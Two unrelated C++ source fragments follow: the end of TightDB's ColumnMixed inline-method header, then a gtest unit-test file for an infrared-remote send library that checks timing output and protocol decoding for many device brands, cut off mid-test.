ColumnMixed::set_bool(std::size_t ndx, bool value) { set_value(ndx, (value ? 1 : 0), mixcol_Bool); // Throws } inline void ColumnMixed::set_datetime(std::size_t ndx, DateTime value) { set_value(ndx, int64_t(value.get_datetime()), mixcol_Date); // Throws } inline void ColumnMixed::set_subtable(std::size_t ndx, const Table* t) { TIGHTDB_ASSERT_3(ndx, <, m_types->size()); typedef _impl::TableFriend tf; ref_type ref; if (t) { ref = tf::clone(*t, m_array->get_alloc()); // Throws } else { ref = tf::create_empty_table(m_array->get_alloc()); // Throws } // Remove any previous refs or binary data clear_value_and_discard_subtab_acc(ndx, mixcol_Table); // Throws m_data->set(ndx, ref); // Throws } // // Inserts // inline void ColumnMixed::insert_value(std::size_t row_ndx, int_fast64_t types_value, int_fast64_t data_value) { std::size_t size = m_types->size(); // Slow bool is_append = row_ndx == size; std::size_t row_ndx_2 = is_append ? tightdb::npos : row_ndx; std::size_t num_rows = 1; m_types->do_insert(row_ndx_2, types_value, num_rows); // Throws m_data->do_insert(row_ndx_2, data_value, num_rows); // Throws } // Insert a int64 value. // Store 63 bit of the value in m_data. Store sign bit in m_types. inline void ColumnMixed::insert_int(std::size_t ndx, int_fast64_t value, MixedColType type) { int_fast64_t types_value = type; // Shift value one bit and set lowest bit to indicate that this is not a ref int_fast64_t data_value = 1 + (value << 1); insert_value(ndx, types_value, data_value); // Throws } inline void ColumnMixed::insert_pos_neg(std::size_t ndx, int_fast64_t value, MixedColType pos_type, MixedColType neg_type) { // 'store' the sign-bit in the integer-type MixedColType type = (value & TIGHTDB_BIT63) == 0 ? pos_type : neg_type; int_fast64_t types_value = type; // Shift value one bit and set lowest bit to indicate that this is not a ref int_fast64_t data_value = 1 + (value << 1); insert_value(ndx, types_value, data_value); // Throws } inline void ColumnMixed::insert_int(std::size_t ndx, int_fast64_t value) { insert_pos_neg(ndx, value, mixcol_Int, mixcol_IntNeg); // Throws } inline void ColumnMixed::insert_double(std::size_t ndx, double value) { int_fast64_t value_2 = type_punning<int64_t>(value); insert_pos_neg(ndx, value_2, mixcol_Double, mixcol_DoubleNeg); // Throws } inline void ColumnMixed::insert_float(std::size_t ndx, float value) { int_fast64_t value_2 = type_punning<int32_t>(value); insert_int(ndx, value_2, mixcol_Float); // Throws } inline void ColumnMixed::insert_bool(std::size_t ndx, bool value) { int_fast64_t value_2 = int_fast64_t(value); insert_int(ndx, value_2, mixcol_Bool); // Throws } inline void ColumnMixed::insert_datetime(std::size_t ndx, DateTime value) { int_fast64_t value_2 = int_fast64_t(value.get_datetime()); insert_int(ndx, value_2, mixcol_Date); // Throws } inline void ColumnMixed::insert_string(std::size_t ndx, StringData value) { ensure_binary_data_column(); std::size_t blob_ndx = m_binary_data->size(); m_binary_data->add_string(value); // Throws int_fast64_t value_2 = int_fast64_t(blob_ndx); insert_int(ndx, value_2, mixcol_String); // Throws } inline void ColumnMixed::insert_binary(std::size_t ndx, BinaryData value) { ensure_binary_data_column(); std::size_t blob_ndx = m_binary_data->size(); m_binary_data->add(value); // Throws int_fast64_t value_2 = int_fast64_t(blob_ndx); insert_int(ndx, value_2, mixcol_Binary); // Throws } inline void ColumnMixed::insert_subtable(std::size_t ndx, const Table* t) { typedef _impl::TableFriend tf; ref_type ref; if (t) { ref = tf::clone(*t, m_array->get_alloc()); // Throws } else { ref = tf::create_empty_table(m_array->get_alloc()); // Throws } int_fast64_t types_value = mixcol_Table; int_fast64_t data_value = int_fast64_t(ref); insert_value(ndx, types_value, data_value); // Throws } inline void ColumnMixed::erase(std::size_t row_ndx) { std::size_t last_row_ndx = size() - 1; // Note that size() is slow bool is_last = row_ndx == last_row_ndx; do_erase(row_ndx, is_last); // Throws } inline void ColumnMixed::move_last_over(std::size_t row_ndx) { std::size_t last_row_ndx = size() - 1; // Note that size() is slow do_move_last_over(row_ndx, last_row_ndx); // Throws } inline void ColumnMixed::clear() { std::size_t num_rows = size(); // Note that size() is slow do_clear(num_rows); // Throws } inline std::size_t ColumnMixed::get_size_from_ref(ref_type root_ref, Allocator& alloc) TIGHTDB_NOEXCEPT { const char* root_header = alloc.translate(root_ref); ref_type types_ref = to_ref(Array::get(root_header, 0)); return Column::get_size_from_ref(types_ref, alloc); } inline void ColumnMixed::clear_value_and_discard_subtab_acc(std::size_t row_ndx, MixedColType new_type) { MixedColType old_type = clear_value(row_ndx, new_type); if (old_type == mixcol_Table) m_data->discard_subtable_accessor(row_ndx); } // Implementing pure virtual method of ColumnBase. inline void ColumnMixed::insert(std::size_t row_ndx, std::size_t num_rows, bool is_append) { std::size_t row_ndx_2 = is_append ? tightdb::npos : row_ndx; int_fast64_t type_value = mixcol_Int; m_types->do_insert(row_ndx_2, type_value, num_rows); // Throws // The least significant bit indicates that the rest of the bits form an // integer value, so 1 is actually zero. int_fast64_t data_value = 1; m_data->do_insert(row_ndx_2, data_value, num_rows); // Throws } // Implementing pure virtual method of ColumnBase. inline void ColumnMixed::erase(std::size_t row_ndx, bool is_last) { do_erase(row_ndx, is_last); // Throws } // Implementing pure virtual method of ColumnBase. inline void ColumnMixed::move_last_over(std::size_t row_ndx, std::size_t last_row_ndx, bool) { do_move_last_over(row_ndx, last_row_ndx); // Throws } // Implementing pure virtual method of ColumnBase. inline void ColumnMixed::clear(std::size_t num_rows, bool) { do_clear(num_rows); // Throws } inline void ColumnMixed::mark(int type) TIGHTDB_NOEXCEPT { m_data->mark(type); } inline void ColumnMixed::refresh_accessor_tree(std::size_t col_ndx, const Spec& spec) { m_array->init_from_parent(); m_types->refresh_accessor_tree(col_ndx, spec); // Throws m_data->refresh_accessor_tree(col_ndx, spec); // Throws if (m_binary_data) { TIGHTDB_ASSERT_3(m_array->size(), ==, 3); m_binary_data->refresh_accessor_tree(col_ndx, spec); // Throws return; } // See if m_binary_data needs to be created. if (m_array->size() == 3) { ref_type ref = m_array->get_as_ref(2); m_binary_data = new ColumnBinary(m_array->get_alloc(), ref); // Throws m_binary_data->set_parent(m_array, 2); } } inline void ColumnMixed::RefsColumn::refresh_accessor_tree(std::size_t col_ndx, const Spec& spec) { ColumnSubtableParent::refresh_accessor_tree(col_ndx, spec); // Throws std::size_t spec_ndx_in_parent = 0; // Ignored because these are root tables m_subtable_map.refresh_accessor_tree(spec_ndx_in_parent); // Throws } } // namespace tightdb
// Copyright 2017,2019 David Conran #include "IRsend_test.h" #include "IRsend.h" #include "IRutils.h" #include "gtest/gtest.h" // Tests sendData(). // Test sending zero bits. TEST(TestSendData, SendZeroBits) { IRsendTest irsend(4); irsend.begin(); irsend.sendData(1, 2, 3, 4, 0b1, 0, true); EXPECT_EQ("", irsend.outputStr()); } // Test sending zero and one. TEST(TestSendData, SendSingleBit) { IRsendTest irsend(4); irsend.begin(); irsend.sendData(1, 2, 3, 4, 0b1, 1, true); EXPECT_EQ("d50m1s2", irsend.outputStr()); irsend.sendData(1, 2, 3, 4, 0b0, 1, true); EXPECT_EQ("d50m3s4", irsend.outputStr()); } // Test sending bit order. TEST(TestSendData, TestingBitSendOrder) { IRsendTest irsend(4); irsend.begin(); irsend.sendData(1, 2, 3, 4, 0b10, 2, true); EXPECT_EQ("d50m1s2m3s4", irsend.outputStr()); irsend.sendData(1, 2, 3, 4, 0b10, 2, false); EXPECT_EQ("d50m3s4m1s2", irsend.outputStr()); irsend.sendData(1, 2, 3, 4, 0b0001, 4, false); EXPECT_EQ("d50m1s2m3s4m3s4m3s4", irsend.outputStr()); } // Test sending typical data. TEST(TestSendData, SendTypicalData) { IRsendTest irsend(4); irsend.begin(); irsend.sendData(1, 2, 3, 4, 0b1010110011110000, 16, true); EXPECT_EQ( "d50m1s2m3s4m1s2m3s4m1s2m1s2m3s4m3s4m1s2m1s2m1s2m1s2m3s4m3s4m3s4m3s4", irsend.outputStr()); irsend.sendData(1, 2, 3, 4, 0x1234567890ABCDEF, 64, true); EXPECT_EQ( "d50" "m3s4m3s4m3s4m1s2m3s4m3s4m1s2m3s4m3s4m3s4m1s2m1s2m3s4m1s2m3s4m3s4" "m3s4m1s2m3s4m1s2m3s4m1s2m1s2m3s4m3s4m1s2m1s2m1s2m1s2m3s4m3s4m3s4" "m1s2m3s4m3s4m1s2m3s4m3s4m3s4m3s4m1s2m3s4m1s2m3s4m1s2m3s4m1s2m1s2" "m1s2m1s2m3s4m3s4m1s2m1s2m3s4m1s2m1s2m1s2m1s2m3s4m1s2m1s2m1s2m1s2", irsend.outputStr()); } // Test sending more than expected bits. TEST(TestSendData, SendOverLargeData) { IRsendTest irsend(4); irsend.begin(); irsend.sendData(1, 2, 3, 4, 0xFFFFFFFFFFFFFFFF, 70, true); EXPECT_EQ( "d50" "m3s4m3s4m3s4m3s4m3s4m3s4" "m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2" "m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2" "m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2" "m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2m1s2", irsend.outputStr()); } // Test inverting the output. TEST(TestIRSend, InvertedOutput) { IRsendTest irsend(4, true); irsend.begin(); irsend.sendData(1, 2, 3, 4, 0b1, 1, true); EXPECT_EQ("d50s1m2", irsend.outputStr()); irsend.sendData(1, 2, 3, 4, 0b0, 1, true); EXPECT_EQ("d50s3m4", irsend.outputStr()); } // Test we correctly pick up frequency changes. TEST(TestIRSend, DetectFreqChanges) { IRsendTest irsend(0); irsend.begin(); irsend.enableIROut(40); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); irsend.enableIROut(38); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); irsend.enableIROut(40); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); irsend.enableIROut(38); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); EXPECT_EQ( "f40000d50" "m1s2" "f38000" "m1s2" "f40000" "m1s2" "f38000" "m1s2", irsend.outputStr()); irsend.reset(); irsend.enableIROut(40); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); irsend.enableIROut(40); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); irsend.enableIROut(38); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); irsend.enableIROut(38); // 40kHz irsend.sendData(1, 2, 3, 4, 0b1, 1, true); EXPECT_EQ( "f40000d50" "m1s2m1s2" "f38000m1s2m1s2", irsend.outputStr()); } // Test we correctly pick up duty cycle changes. TEST(TestIRSend, DetectDutyChanges) { IRsendTest irsend(0); irsend.begin(); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 38000, true, 0, 33); EXPECT_EQ( "f38000d33" "m1s2m3s4m7s8", irsend.outputStr()); irsend.reset(); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 38000, true, 0, 50); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 38000, true, 0, 33); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 38000, true, 0, 25); EXPECT_EQ( "f38000d50" "m1s2m3s4m7s8" "d33" "m1s2m3s4m7s8" "d25" "m1s2m3s4m7s8", irsend.outputStr()); } // Test we correctly pick up frequency AND duty changes. TEST(TestIRSend, DetectFreqAndDutyChanges) { IRsendTest irsend(0); irsend.begin(); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 38000, true, 0, 50); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 38000, true, 0, 33); irsend.sendGeneric(1, 2, 3, 4, 5, 6, 7, 8, 0b1, 1, 40000, true, 0, 25); EXPECT_EQ( "f38000d50" "m1s2m3s4m7s8" "d33" "m1s2m3s4m7s8" "f40000d25" "m1s2m3s4m7s8", irsend.outputStr()); } // Test typical use of sendRaw(). TEST(TestSendRaw, GeneralUse) { IRsendTest irsend(4); IRrecv irrecv(0); irsend.begin(); // NEC C3E0E0E8 as measured in #204 uint16_t rawData[67] = { 8950, 4500, 550, 1650, 600, 1650, 550, 550, 600, 500, 600, 550, 550, 550, 600, 1650, 550, 1650, 600, 1650, 600, 1650, 550, 1700, 550, 550, 600, 550, 550, 550, 600, 500, 600, 550, 550, 1650, 600, 1650, 600, 1650, 550, 550, 600, 500, 600, 500, 600, 550, 550, 550, 600, 1650, 550, 1650, 600, 1650, 600, 500, 650, 1600, 600, 500, 600, 550, 550, 550, 600}; irsend.sendRaw(rawData, 67, 38); EXPECT_EQ( "f38000d50" "m8950s4500" "m550s1650m600s1650m550s550m600s500m600s550m550s550m600s1650m550s1650" "m600s1650m600s1650m550s1700m550s550m600s550m550s550m600s500m600s550" "m550s1650m600s1650m600s1650m550s550m600s500m600s500m600s550m550s550" "m600s1650m550s1650m600s1650m600s500m650s1600m600s500m600s550m550s550" "m600", irsend.outputStr()); irsend.reset(); irsend.sendRaw(rawData, 67, 38); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decodeNEC(&irsend.capture, kNECBits, false)); EXPECT_EQ(NEC, irsend.capture.decode_type); EXPECT_EQ(32, irsend.capture.bits); EXPECT_EQ(0xC3E0E0E8, irsend.capture.value); EXPECT_EQ( "f38000d50" "m8950s4500" "m550s1650m600s1650m550s550m600s500m600s550m550s550m600s1650m550s1650" "m600s1650m600s1650m550s1700m550s550m600s550m550s550m600s500m600s550" "m550s1650m600s1650m600s1650m550s550m600s500m600s500m600s550m550s550" "m600s1650m550s1650m600s1650m600s500m650s1600m600s500m600s550m550s550" "m600", irsend.outputStr()); } // Incorrect handling of decodes from Raw. i.e. There is no gap recorded at // the end of a command when using the interrupt code. sendRaw() best emulates // this for unit testing purposes. sendGC() and sendXXX() will add the trailing // gap. Users won't see this in normal use. TEST(TestSendRaw, NoTrailingGap) { IRsendTest irsend(4); IRrecv irrecv(4); irsend.begin(); irsend.reset(); uint16_t rawData[67] = { 9000, 4500, 650, 550, 650, 1650, 600, 550, 650, 550, 600, 1650, 650, 550, 600, 1650, 650, 1650, 650, 1650, 600, 550, 650, 1650, 650, 1650, 650, 550, 600, 1650, 650, 1650, 650, 550, 650, 550, 650, 1650, 650, 550, 650, 550, 650, 550, 600, 550, 650, 550, 650, 550, 650, 1650, 600, 550, 650, 1650, 650, 1650, 650, 1650, 650, 1650, 650, 1650, 650, 1650, 600}; irsend.sendRaw(rawData, 67, 38); irsend.makeDecodeResult(); EXPECT_TRUE(irrecv.decodeNEC(&irsend.capture)); EXPECT_EQ(NEC, irsend.capture.decode_type); EXPECT_EQ(kNECBits, irsend.capture.bits); } TEST(TestLowLevelSend, MarkFrequencyModulationAt38kHz) { IRsendLowLevelTest irsend(0); irsend.begin(); irsend.reset(); irsend.enableIROut(38000, 50); EXPECT_EQ(5, irsend.mark(100)); EXPECT_EQ( "[On]10usecs[Off]11usecs[On]10usecs[Off]11usecs[On]10usecs[Off]11usecs" "[On]10usecs[Off]11usecs[On]10usecs[Off]6usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(38000, 33); EXPECT_EQ(5, irsend.mark(100)); EXPECT_EQ( "[On]6usecs[Off]15usecs[On]6usecs[Off]15usecs[On]6usecs[Off]15usecs" "[On]6usecs[Off]15usecs[On]6usecs[Off]10usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(38000, 100); EXPECT_EQ(1, irsend.mark(1000)); EXPECT_EQ("[On]1000usecs[Off]", irsend.low_level_sequence); } TEST(TestLowLevelSend, MarkFrequencyModulationAt36_7kHz) { IRsendLowLevelTest irsend(0); irsend.begin(); irsend.reset(); irsend.enableIROut(36700, 50); EXPECT_EQ(5, irsend.mark(100)); EXPECT_EQ( "[On]11usecs[Off]11usecs[On]11usecs[Off]11usecs[On]11usecs[Off]11usecs" "[On]11usecs[Off]11usecs[On]11usecs[Off]1usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(36700, 33); EXPECT_EQ(5, irsend.mark(100)); EXPECT_EQ( "[On]7usecs[Off]15usecs[On]7usecs[Off]15usecs[On]7usecs[Off]15usecs" "[On]7usecs[Off]15usecs[On]7usecs[Off]5usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(36700, 100); EXPECT_EQ(1, irsend.mark(1000)); EXPECT_EQ("[On]1000usecs[Off]", irsend.low_level_sequence); } TEST(TestLowLevelSend, MarkFrequencyModulationAt40kHz) { IRsendLowLevelTest irsend(0); irsend.begin(); irsend.reset(); irsend.enableIROut(40000, 50); EXPECT_EQ(5, irsend.mark(100)); EXPECT_EQ( "[On]10usecs[Off]10usecs[On]10usecs[Off]10usecs[On]10usecs[Off]10usecs" "[On]10usecs[Off]10usecs[On]10usecs[Off]10usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(40000, 33); EXPECT_EQ(5, irsend.mark(100)); EXPECT_EQ( "[On]6usecs[Off]14usecs[On]6usecs[Off]14usecs[On]6usecs[Off]14usecs" "[On]6usecs[Off]14usecs[On]6usecs[Off]14usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(40000, 100); EXPECT_EQ(1, irsend.mark(1000)); EXPECT_EQ("[On]1000usecs[Off]", irsend.low_level_sequence); } TEST(TestLowLevelSend, MarkNoModulation) { IRsendLowLevelTest irsend(0, false, false); irsend.begin(); irsend.reset(); irsend.enableIROut(38000, 50); EXPECT_EQ(1, irsend.mark(1000)); EXPECT_EQ("[On]1000usecs[Off]", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(36700, 25); EXPECT_EQ(1, irsend.mark(1000)); EXPECT_EQ("[On]1000usecs[Off]", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(40000, 75); EXPECT_EQ(1, irsend.mark(1000)); EXPECT_EQ("[On]1000usecs[Off]", irsend.low_level_sequence); } TEST(TestLowLevelSend, SpaceFrequencyModulation) { IRsendLowLevelTest irsend(0); irsend.reset(); irsend.enableIROut(38000); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(40000, 75); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(38000, 100); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(38000, 33); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); } TEST(TestLowLevelSend, SpaceNoModulation) { IRsendLowLevelTest irsend(0, false, false); irsend.begin(); irsend.reset(); irsend.enableIROut(38000, 50); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(36700, 25); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); irsend.reset(); irsend.enableIROut(40000, 75); irsend.space(1000); EXPECT_EQ("[Off]1000usecs", irsend.low_level_sequence); } // Test expected to work/produce a message for irsend:send() TEST(TestSend, GenericSimpleSendMethod) { IRsendTest irsend(0); IRrecv irrecv(0); irsend.begin(); irsend.reset(); ASSERT_TRUE(irsend.send(AIWA_RC_T501, 0x1234, kAiwaRcT501Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(AIWA_RC_T501, irsend.capture.decode_type); EXPECT_EQ(kAiwaRcT501Bits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(CARRIER_AC, 0x1234, kCarrierAcBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(CARRIER_AC, irsend.capture.decode_type); EXPECT_EQ(kCarrierAcBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(COOLIX, 0x1234, kCoolixBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(COOLIX, irsend.capture.decode_type); EXPECT_EQ(kCoolixBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(DENON, 0x1234, kDenonBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(DENON, irsend.capture.decode_type); EXPECT_EQ(kDenonBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(DISH, 0x1234, kDishBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(DISH, irsend.capture.decode_type); EXPECT_EQ(kDishBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(GICABLE, 0x1234, kGicableBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(GICABLE, irsend.capture.decode_type); EXPECT_EQ(kGicableBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(GREE, 0x0009205000200050, kGreeBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(GREE, irsend.capture.decode_type); EXPECT_EQ(kGreeBits, irsend.capture.bits); // No simple value test for gree as it decodes to an Array. irsend.reset(); ASSERT_TRUE(irsend.send(JVC, 0x1234, kJvcBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(JVC, irsend.capture.decode_type); EXPECT_EQ(kJvcBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(LASERTAG, 0x123, kLasertagBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(LASERTAG, irsend.capture.decode_type); EXPECT_EQ(kLasertagBits, irsend.capture.bits); EXPECT_EQ(0x123, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(LG, 0x700992, kLgBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(LG, irsend.capture.decode_type); EXPECT_EQ(kLgBits, irsend.capture.bits); EXPECT_EQ(0x700992, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(LG, 0x700992, kLg32Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(LG, irsend.capture.decode_type); EXPECT_EQ(kLg32Bits, irsend.capture.bits); EXPECT_EQ(0x700992, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(LG2, 0x880094D, kLgBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(LG2, irsend.capture.decode_type); EXPECT_EQ(kLgBits, irsend.capture.bits); EXPECT_EQ(0x880094D, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(LUTRON, 0x1234, kLutronBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(LUTRON, irsend.capture.decode_type); EXPECT_EQ(kLutronBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(MAGIQUEST, 0x560F40020455, kMagiquestBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(MAGIQUEST, irsend.capture.decode_type); EXPECT_EQ(kMagiquestBits, irsend.capture.bits); EXPECT_EQ(0x560F40020455, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(MIDEA, 0xA18263FFFF6E, kMideaBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(MIDEA, irsend.capture.decode_type); EXPECT_EQ(kMideaBits, irsend.capture.bits); EXPECT_EQ(0xA18263FFFF6E, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(MITSUBISHI, 0x1234, kMitsubishiBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(MITSUBISHI, irsend.capture.decode_type); EXPECT_EQ(kMitsubishiBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(MITSUBISHI2, 0x1234, kMitsubishiBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(MITSUBISHI2, irsend.capture.decode_type); EXPECT_EQ(kMitsubishiBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(NIKAI, 0x1234, kNikaiBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(NIKAI, irsend.capture.decode_type); EXPECT_EQ(kNikaiBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(NEC, 0x4BB640BF, kNECBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(NEC, irsend.capture.decode_type); EXPECT_EQ(kNECBits, irsend.capture.bits); EXPECT_EQ(0x4BB640BF, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(NEC_LIKE, 0x12345678, kNECBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(NEC_LIKE, irsend.capture.decode_type); EXPECT_EQ(kNECBits, irsend.capture.bits); EXPECT_EQ(0x12345678, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(PANASONIC, 0x40040190ED7C, kPanasonicBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(PANASONIC, irsend.capture.decode_type); EXPECT_EQ(kPanasonicBits, irsend.capture.bits); EXPECT_EQ(0x40040190ED7C, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(PIONEER, 0x659A05FAF50AC53A, kPioneerBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(PIONEER, irsend.capture.decode_type); EXPECT_EQ(kPioneerBits, irsend.capture.bits); EXPECT_EQ(0x659A05FAF50AC53A, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(RC5, 0x175, kRC5Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(RC5, irsend.capture.decode_type); EXPECT_EQ(kRC5Bits, irsend.capture.bits); EXPECT_EQ(0x175, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(RC6, 0xC800F740C, kRC6_36Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(RC6, irsend.capture.decode_type); EXPECT_EQ(kRC6_36Bits, irsend.capture.bits); EXPECT_EQ(0xC800F740C, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(RCMM, 0x1234, kRCMMBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(RCMM, irsend.capture.decode_type); EXPECT_EQ(kRCMMBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(SAMSUNG, 0xE0E09966, kSamsungBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(SAMSUNG, irsend.capture.decode_type); EXPECT_EQ(kSamsungBits, irsend.capture.bits); EXPECT_EQ(0xE0E09966, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(SAMSUNG36, 0x1234, kSamsung36Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(SAMSUNG36, irsend.capture.decode_type); EXPECT_EQ(kSamsung36Bits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(SANYO_LC7461, 0x2468DCB56A9, kSanyoLC7461Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(SANYO_LC7461, irsend.capture.decode_type); EXPECT_EQ(kSanyoLC7461Bits, irsend.capture.bits); EXPECT_EQ(0x2468DCB56A9, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(SHARP, 0x7266, kSharpBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(SHARP, irsend.capture.decode_type); EXPECT_EQ(kSharpBits, irsend.capture.bits); EXPECT_EQ(0x7266, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(SHERWOOD, 0x4BB640BF, kSherwoodBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(NEC, irsend.capture.decode_type); EXPECT_EQ(kSherwoodBits, irsend.capture.bits); EXPECT_EQ(0x4BB640BF, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(SONY, 0x1234, kSony20Bits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(SONY, irsend.capture.decode_type); EXPECT_EQ(kSony20Bits, 